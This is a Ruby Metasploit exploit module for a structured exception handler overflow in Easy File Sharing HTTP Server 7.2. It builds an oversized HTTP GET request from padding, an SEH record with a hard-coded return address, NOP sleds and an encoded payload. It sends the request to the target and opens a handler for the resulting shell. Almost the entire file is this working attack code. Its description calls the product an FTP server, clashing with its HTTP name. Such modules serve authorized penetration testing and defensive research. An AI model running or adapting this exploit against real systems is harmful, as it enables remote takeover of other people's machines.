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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
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      'Description'    => %q{
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        This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
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      },
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      'Author'         => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'EDB', '39008' ],
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 390,
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          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
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        ],
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      'DefaultOptions' => {
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          'RPORT' => 80
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        },
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      'DisclosureDate' => '2015-12-02',
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      'DefaultTarget'  => 0))
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  end
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  def print_status(msg='')
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    super("#{peer} - #{msg}")
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  end
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  def exploit
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    connect
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    print_status("Sending exploit...")
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    sploit = "GET "
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    sploit << rand_text_alpha_upper(4061)
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    sploit << generate_seh_record(target.ret)
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    sploit << make_nops(19)
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    sploit << payload.encoded
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    sploit << make_nops(7)
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    sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
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    sploit << " HTTP/1.0\r\n\r\n"
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    sock.put(sploit)
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    print_good("Exploit Sent")
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    handler
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    disconnect
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  end
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end
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